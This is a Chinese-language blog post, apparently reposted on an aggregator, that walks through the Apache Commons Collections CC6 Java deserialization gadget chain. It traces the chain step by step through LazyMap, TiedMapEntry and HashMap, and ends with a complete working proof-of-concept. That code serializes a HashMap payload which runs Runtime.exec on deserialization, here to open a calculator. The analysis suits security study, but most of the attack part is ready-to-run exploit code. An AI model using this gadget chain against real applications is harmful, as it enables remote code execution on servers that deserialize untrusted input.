Java反序列化漏洞-CC6利用链分析

news2025/2/3 23:50:43

CC链之最好用的利用链CC6分析

经过之前对CC1链和URLDNS链的分析,现在已经对反序列化利用链有了初步的认识,这次来分析一个最好用的CC利用链——CC6。

为什么CC6是最好用的CC利用链,因为CC6不限制jdk版本,只要commons collections 小于等于3.2.1,都存在这个漏洞。

文章目录

  • CC链之最好用的利用链CC6分析
    • 前置知识
      • 1. 回顾CC1
      • 2. 高版本jdk的修改
    • 寻找新利用链
      • 1. LazyMap
      • 2. TiedMapEntry
      • 3. HashMap
    • 调整利用链
      • HashMap的put
      • LazyMap的get
    • 完整POC

前置知识

1. 回顾CC1

根据之前对CC1链的分析,可以知道用ChainedTransformer配合InvokerTransformer可以进行命令执行。具体原理请看我之前文章的第二节的1~4小节的内容。

Transformer[] transformers = {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer ct = new ChainedTransformer(transformers);
ct.transform("1");

在这里插入图片描述

2. 高版本jdk的修改

在jdk8u_71之后,AnnotationInvocationHandler类被重写了,修改了readObject方法,里面没有了setValue方法。

这是jdk17.0.9的sun.reflect.annotation.AnnotationInvocationHandler#readObject的readObject方法

第593行新建了一个名为mv的LinkedHashMap,然后mv的数据在第597行开始通过for循环里面的逻辑给mv添加值,所有的操作都是基于这个新建的LinkedHashMap操作的,所以至此利用链就断开了,无法按照我们的预期进行,所以需要寻找新的利用链了。

在这里插入图片描述

寻找新利用链

1. LazyMap

右键查找ChainedTransformer的transform方法的用法,定位到LazyMap的get方法

在这里插入图片描述

LazyMap关键代码,可以通过LazyMap的get方法调用ChainedTransformer的transform方法

protected final Transformer factory;
public static Map decorate(Map map, Factory factory) {
    return new LazyMap(map, factory);
}
public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

可以通过decorate传值,生成一个LazyMap对象。

成功命令执行

Transformer[] transformers = {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer ct = new ChainedTransformer(transformers);
Map lazymap = LazyMap.decorate(new HashMap(), ct);
lazymap.get("1");

在这里插入图片描述

接下来继续寻找入口点

2. TiedMapEntry

ysoserial的作者找到了TiedMapEntry这条链,TiedMapEntry关键代码

public Object getValue() {
    return map.get(key);
}
public int hashCode() {
    Object value = getValue();
    return (getKey() == null ? 0 : getKey().hashCode()) ^
           (value == null ? 0 : value.hashCode()); 
}

TiedMapEntry的hashCode方法调用了getValue,getValue调用了get方法,所以可以用TiedMapEntry的hashCode方法调用LazyMap的get方法

成功命令执行

Transformer[] transformers = {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer ct = new ChainedTransformer(transformers);
Map lazymap = LazyMap.decorate(new HashMap(), ct);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "key");
tiedMapEntry.hashCode();

在这里插入图片描述

接下来寻找谁调用了hashCode方法

3. HashMap

通过之前对URLDNS链的研究可知,HashMap的readObject方法有如下这行语句

putVal(hash(key), key, value, false, false);

而HashMap的hash方法调用了hashCode方法

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

而key的值是从readObject获取的

K key = (K) s.readObject();

序列化时可以用HashMap的put方法传key和value

hashMap.put(tiedMapEntry, "1");

但是HashMap的put方法会提前调用hash方法,导致提前走完流程

public V put(K key, V value) {
    return putVal(hash(key), key, value, false, true);
}

试一下HashMap.put

Transformer[] transformers = {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer ct = new ChainedTransformer(transformers);
Map lazymap = LazyMap.decorate(new HashMap(), ct);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "key");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "value");

在这里插入图片描述

调整利用链

HashMap的put

由于HashMap的put方法会导致提前调用hash方法,从而在序列化前就命令执行,所以这里修改一下代码。

这里选择在新建LazyMap对象的时候,随便传入一个Transformer对象,等put完之后再通过反射修改回ChainedTransformer对象。

Map lazymap = LazyMap.decorate(new HashMap(), new ConstantTransformer("1"));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "2");

HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "3");

反射修改lazymap的factory的值

Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap, ct);

然后尝试进行序列化和反序列化

serial(hashMap);
unserial();

在这里插入图片描述

代码执行了,但是没有出现预期的命令执行弹出计算器,这是为什么呢?

LazyMap的get

HashMap的put方法调用了hash(key),hash方法调用了key.hashCode(),进而执行tiedMapEntry.hashCode()方法,然后就会执行lazymap.get()

调试一下,定位到LazyMap的get方法,这里map.containsKey(key)是true,所以不会执行tramsform,从而不会命令执行。

在这里插入图片描述

可是我也没有给lazymap传入key为2的数据啊,这是为什么捏?

注意,问题还是LazyMap的get方法

序列化前的操作:如果map没包含这个key,那么就给map传入这个键值对。

这样就会导致反序列化时map里已经存在这个key了,所以不会执行factory.transform(key),从而导致无法命令执行。

在这里插入图片描述

所以,我们需要在hashMap.put之后,把lazymap的ley删除掉

lazymap.remove("2");

完整POC

至此,所有调整已经完成了

package zzy;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Blog {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer ct = new ChainedTransformer(transformers);
        Map lazymap = LazyMap.decorate(new HashMap(), new ConstantTransformer("1"));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "2");
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(tiedMapEntry, "3");

        lazymap.remove("2");

        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factoryField = lazyMapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazymap, ct);

        serial(hashMap);
        unserial();
    }

    public static void serial(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("cc6.bin"));
        out.writeObject(obj);
    }

    public static void unserial() throws IOException, ClassNotFoundException {
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("cc6.bin"));
        in.readObject();
    }
}

命令执行成功

参考文档

讯飞星火:https://xinghuo.xfyun.cn

bilibli:白日梦组长_CC6

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1337512.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

调优-mybatis saveBatch

一条一条插入&#xff1a; 批量插入&#xff1a; 批量插入-优化&#xff1a; 在url配置 # rewriteBatchedStatementstrue url: jdbc:mysql://localhost:3306/xi_ning?characterEncodingutf-8&serverTimezoneUTC&rewriteBatchedStatementstruerewriteBatchedState…

前端---盒子模型

1. 盒子模型的介绍 所谓的盒子模型就是把HTML页面的元素看作一个矩形盒子&#xff0c;矩形盒子是由内容(content)、内边距(padding)、边框(border)、外边距(margin)四部分组成。 盒子模型示意图如下&#xff1a; 2. 盒子模型相关样式属性 盒子的内容宽度(width)&#xff0c;…

vue子组件实时获取父组件的数据

其实在vue中实现子组件实时获取父组件的数据有6种方式. 1、props/$emit&#xff1b; 2、子组件向父组件传值&#xff08;通过事件形式&#xff09;&#xff1b; 3、使用vuex&#xff1b; 4、使用$attrs/$listeners; 5、provide/inject&#xff1b; 6、$parent/$children与ref。…

2024年了,造『论文解读』公众号,买个agent就够了……

大家好我是二狗&#xff0c;是夕小瑶科技说编辑部的一名作者。 我平时主要负责写AI资讯报道的文章。 二狗我在「赛博马良」平台方买了AI员工之后每次都非常顺利地在第一时间精准抓到爆&#x1f525;的选题。 比如当时Sam Altman被开除的事件&#xff0c;二狗我几乎是全网首发…

三甲基碘硅烷,预计未来几年市场将以稳定的速度增长

三甲基碘硅烷是一种无色透明液体&#xff0c;广泛用作有机化学中的试剂。它用于制备多种有机化合物&#xff0c;包括药物、农用化学品和特种化学品。由于最终用途行业的需求不断增加&#xff0c;预计未来几年全球碘三甲基硅烷市场将以稳定的速度增长。 全球碘三甲基硅烷市场分为…

15 款Python编辑器的优缺点,别再问我“选什么编辑器”

本文介绍了多个 Python IDE&#xff0c;并评价其优缺点。读者可以参考此文列举的 Python IDE 列表&#xff0c;选择适合自己的编辑器。 写 Python 代码最好的方式莫过于使用集成开发环境&#xff08;IDE&#xff09;了。它们不仅能使你的工作更加简单、更具逻辑性&#xff0c;…

词法语法语义分析程序设计及实现,包含出错提示和错误恢复

词法说明 (1)关键字 main, int, char, if, else, for, while, void (2)运算符 - * / < < > > ! (3)界符 ; ( ) { } (4)标识符 ID letter(letter|digit)* (5)整型常数 NUM digit digit* (6)空格 ‘ ‘ ‘\n’ ‘\r’ ‘\t’ 空格用来分隔ID,NUM,运算符,界…

如何在推文里添加下载链接

电脑上有一个文件&#xff0c;希望通过公众号推文分享给读者&#xff0c;我们该如何操作呢&#xff1f;大家都知道&#xff0c;公众号并没有提供相应的附件功能。 这些其实是很常见的需求&#xff0c;在公众号上发布招聘信息、招投标信息、宣传文章、政策解读的时候&#xff0…

SpringMVC 高级

1 SpringMVC 概述 三层架构 表现层&#xff1a;负责数据展示 业务层&#xff1a;负责业务处理 数据层&#xff1a;负责数据操作 概念 Spring MVC 是Spring提供的一个实现了Web MVC设计模式的轻量级Web框架。 MVC&#xff08;Model View Controller&#xff09;&#xff0…

论文解读--Doppler-Offset Waveforms for MIMO Radar

MIMO雷达的多普勒偏置波形 摘要 在多输入多输出(MIMO)雷达中&#xff0c;独立的波形从不同的位置发射&#xff0c;产生的反射经过处理形成一个比雷达物理孔径更大的“虚拟天线阵列”。本文研究了用于自适应MIMO GMTI雷达系统的多普勒偏置波形的设计。这种波形提供了良好的自适…

【Unity】GPU骨骼动画 渲染性能开挂 动画合批渲染 支持武器挂载

GPU骨骼动画视频介绍&#xff1a; GPU顶点动画和GPU骨骼动画实现原理及优缺点对比 性能优化 GPU动画是实现万人同屏的前置条件&#xff0c;在之前的文章中已介绍过GPU顶点动画的实现方法&#xff1a;【Unity】渲染性能开挂GPU Animation, 动画渲染合批GPU Instance_skinmeshren…

【数据结构】六、树和二叉树

目录 一、树的基本概念 二、二叉树 2.1二叉树的性质 2.2二叉树的存储结构 2.3遍历二叉树 先序遍历 中序遍历 后序遍历 层次遍历 2.4二叉树的应用 计算叶子数 前序遍历建树 根据序列恢复二叉树 计算树的深度 判断完全二叉树 三、线索二叉树 3.1线索化 四、树和森林…

中伟视界:燃气站的烟火、安全帽、抽烟、打电话检测等AI算法的工作原理详解

人工智能&#xff08;AI&#xff09;技术在各行各业中的应用越来越广泛&#xff0c;燃气站的安全管理也在逐步引入AI算法。本文将详细介绍AI算法在燃气站安全管理中的应用&#xff0c;包括烟火检测、安全帽识别、抽烟、打电话检测等方面的工作原理。 烟火检测是燃气站安全管理中…

盘古信息IMS-MOM制造运营管理系统,构建生产现场管理信息系统的最佳选择

在当今高度竞争的制造行业中&#xff0c;高效的生产管理是企业成功的关键。盘古信息IMS-MOM制造运营管理系统作为一款领先的管理系统其关键特性为制造企业构建生产现场管理信息系统提供了强大的优势。IMS-MOM不仅仅是一个软件系统&#xff0c;更是一种技术和管理手段的结合&…

OpenAI GPT 模型 API 接口新增参数 top_logprobs 和 logprobs

文章目录 一、前言二、主要内容三、总结 &#x1f349; CSDN 叶庭云&#xff1a;https://yetingyun.blog.csdn.net/ 一、前言 在最新的 OpenAI 官方 APIs 文档中&#xff0c;Create chat completion 中新增了 top_logprobs 和 logprobs 这两个关键参数。 官方文档地址&#xff…

Kubernetes的理论基础

k8s:kubernetes:8个字母省略&#xff0c;就是k8s。 自动部署&#xff0c;自动扩展和管理容器化部署的应用程序的一个开源系统。k8s是负责自动化运维管理多个容器化程序的集群&#xff0c;是一个功能强大的容器编排工具。分布式和集群化的方式进行容器管理。 1.15 1.18 1.20 1…

新版IDEA中Git的使用(二)

说明&#xff1a;前面介绍了在新版IDEA中Git的基本操作&#xff0c;本文介绍关于分支合并、拉取等操作&#xff1b; 例如&#xff0c;现在有一个项目&#xff0c;分支如下&#xff1a; main&#xff1a;主分支&#xff1b; dev&#xff1a;开发分支&#xff1b; test&#x…

Linux Fonts

/usr/share/fonts Windows Fonts-CSDN博客

【java爬虫】基于springboot+jdbcTemplate+sqlite+OkHttp获取个股的详细数据

注&#xff1a;本文所用技术栈为&#xff1a;springbootjdbcTemplatesqliteOkHttp 前面的文章我们获取过沪深300指数的成分股所属行业以及权重数据&#xff0c;本文我们来获取个股的详细数据。 我们的数据源是某狐财经&#xff0c;接口的详细信息在下面的文章中&#xff0c;本…

Stable Diffusion模型原理

1 Stable Diffusion概述 1.1 图像生成的发展 在Stable Diffusion诞生之前&#xff0c;计算机视觉和机器学习方面最重要的突破是 GAN&#xff08;Generative Adversarial Networks 生成对抗网络&#xff09;。GAN让超越训练数据已有内容成为可能&#xff0c;从而打开了一个全新…